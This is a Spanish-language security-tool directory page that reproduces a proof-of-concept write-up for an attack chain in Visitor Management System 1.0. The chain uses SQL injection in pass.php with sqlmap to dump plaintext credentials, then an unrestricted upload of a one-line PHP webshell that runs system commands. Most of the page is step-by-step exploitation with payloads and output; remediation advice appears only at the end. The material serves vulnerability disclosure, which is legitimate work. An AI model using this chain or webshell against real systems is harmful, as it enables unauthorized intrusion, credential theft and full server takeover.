Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-10170-RCE — Prueba de concepto que demuestra la inyección SQL y la carga de archivos sin restricciones encadenadas para lograr la ejecución remota de código en Visitor Management System 1.0, incluyendo guía paso a paso de explotación y remediación. | Kitploit
Herramientas/GitHubGitHub/xmyronn/cve-2026-10170-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Prueba de concepto que demuestra la inyección SQL y la carga de archivos sin restricciones encadenadas para lograr la ejecución remota de código en Visitor Management System 1.0, incluyendo guía paso a paso de explotación y remediación.

Ver Repositorio
3hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Visitor Management System 1.0 - SQLi a Ejecución Remota de Código (Cadena de Ataque)

Información de la Vulnerabilidad

CampoDetalles
ProductoVisitor Management System
Vendedorcode-projects.org
Versión1.0
Clases de VulnerabilidadInyección SQL (CWE-89) + Subida de Archivos sin Restricciones (CWE-434)
ID CVEPendiente
Puntuación CVSS9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Autenticación RequeridaPrivilegios bajos (cuenta de guardia) como punto de entrada
Archivos Afectados/vms/php/pass.php, /vms/php/admin_user_0.php
Parámetro Vulnerablephone (POST)

Descripción

El Visitor Management System 1.0 de code-projects.org es vulnerable a una cadena de ataque crítica que combina Inyección SQL y Subida de Archivos sin Restricciones, lo que conduce a la Ejecución Remota de Código.

Un atacante con acceso de privilegios bajos (cuenta de guardia) puede explotar una vulnerabilidad de inyección SQL en pass.php mediante el parámetro POST phone para volcar toda la base de datos, incluidas las credenciales de administrador en texto plano. Usando las credenciales extraídas para autenticarse como administrador, el atacante puede subir un webshell PHP a través del panel de gestión de Usuarios Administradores (admin_user_0.php), que no realiza ninguna validación de tipo de archivo ni de extensión. El webshell subido se almacena en un directorio accesible desde la web y puede ejecutarse directamente mediante URL, lo que resulta en una Ejecución Remota de Código completa en el servidor.

Además, las contraseñas se almacenan en texto plano en la base de datos, lo que significa que no se requiere ningún paso de descifrado después del volcado por SQLi.


Resumen de la Cadena de Ataque

root@kitploit:~
Inicio de sesión de guardia con privilegios bajos
        ↓
Inyección SQL en pass.php (parámetro phone)
        ↓
Volcado con sqlmap → credenciales de administrador en texto plano extraídas
        ↓
Inicio de sesión como administrador (sanjay1:7861)
        ↓
Subida de archivos sin restricciones en admin_user_0.php
        ↓
Webshell PHP subido a /vms/php/folder/
        ↓
RCE mediante ?cmd=whoami → compromiso total del servidor

Prueba de Concepto Paso a Paso

Paso 1 — Iniciar Sesión como Usuario de Privilegios Bajos (Guardia)

Navegue a la aplicación VMS e inicie sesión con las credenciales de guardia. Después de iniciar sesión, navegue a la página de Número de Teléfono:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Paso 2 — Confirmar la Inyección SQL en pass.php

Envíe una comilla simple ' como valor del número de teléfono. La aplicación lanza un error fatal de MariaDB que expone la consulta original y la ruta del archivo:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

Archivo afectado: pass.php línea 9
Parámetro vulnerable: phone (POST)

Screenshot 2026-05-05 034215

error sql Screenshot 2026-05-05 034228


Paso 3 — Explotar la Inyección SQL con sqlmap

Guarde la solicitud capturada con Burp Suite en un archivo (sqli.txt) y ejecute sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap vuelca con éxito la tabla login_user de la base de datos vms, revelando credenciales en texto plano para todos los usuarios:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Nota: Las contraseñas se almacenan en texto plano — no se requiere descifrado de hash.

Screenshot 2026-05-05 034316

Paso 4 — Iniciar Sesión como Administrador

Usando las credenciales de administrador extraídas, inicie sesión en el panel de administración:

root@kitploit:~
Usuario: sanjay1
Contraseña: 7861

El panel de administración completo ahora es accesible, incluyendo la gestión de Empleados, Departamentos, Usuarios Administradores e Informes.

Screenshot 2026-05-05 034353

Paso 5 — Subir Webshell PHP a través del Panel de Usuarios Administradores

Navegue a la página de gestión de Usuarios Administradores:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

La página contiene un campo de subida de archivos para la imagen de perfil. La aplicación no realiza ninguna validación de tipo de archivo, ni filtrado de extensiones, ni comprobación de tipo MIME.

Complete el formulario con cualquier valor y suba el siguiente webshell PHP como archivo de imagen (web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Paso 6 — Confirmar la Subida del Webshell

Navegue a la página de visualización de Usuarios Administradores:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

La cuenta de administrador recién creada es visible en la tabla. El webshell subido se almacena en:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Paso 7 — Ejecución Remota de Código

Ejecute comandos arbitrarios del sistema a través del webshell:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

Resultado: El servidor devuelve el usuario actual del sistema confirmando la Ejecución Remota de Código completa:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Impacto

  • Compromiso total de la base de datos — todas las tablas volcadas mediante SQLi, incluidas las credenciales en texto plano
  • Toma de control de la cuenta de administrador — las contraseñas en texto plano no requieren descifrado
  • Ejecución Remota de Código — comandos arbitrarios del sistema operativo ejecutados como el usuario del servidor web
  • Compromiso total del servidor — control completo sobre el host subyacente
  • Almacenamiento de contraseñas en texto plano — amplifica el impacto de la SQLi, las credenciales son inmediatamente utilizables

Resumen de Archivos Afectados

ArchivoVulnerabilidad
/vms/php/pass.phpInyección SQL mediante el parámetro POST phone
/vms/php/admin_user_0.phpSubida de Archivos sin Restricciones — sin validación de extensión ni MIME
/vms/php/folder/Directorio de almacenamiento del webshell — accesible desde la web, sin restricciones

Remediación

Para la Inyección SQL:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

Para la Subida de Archivos:

  • Lista blanca de extensiones permitidas (solo jpg, png, gif)
  • Validar el tipo MIME en el servidor
  • Almacenar las subidas fuera de la raíz web
  • Renombrar los archivos subidos a cadenas aleatorias

Para el Almacenamiento de Contraseñas:

  • Usar password_hash() y password_verify() — nunca almacenar en texto plano

Referencias

  • Página del Vendedor
  • CWE-89: Inyección SQL
  • CWE-434: Subida sin Restricciones de Archivo con Tipo Peligroso
  • Hoja de Referencia de Subida de Archivos de OWASP

Descubridor

  • Investigador: Imad Alvi
  • VulDB: imad alvi
Descargar herramienta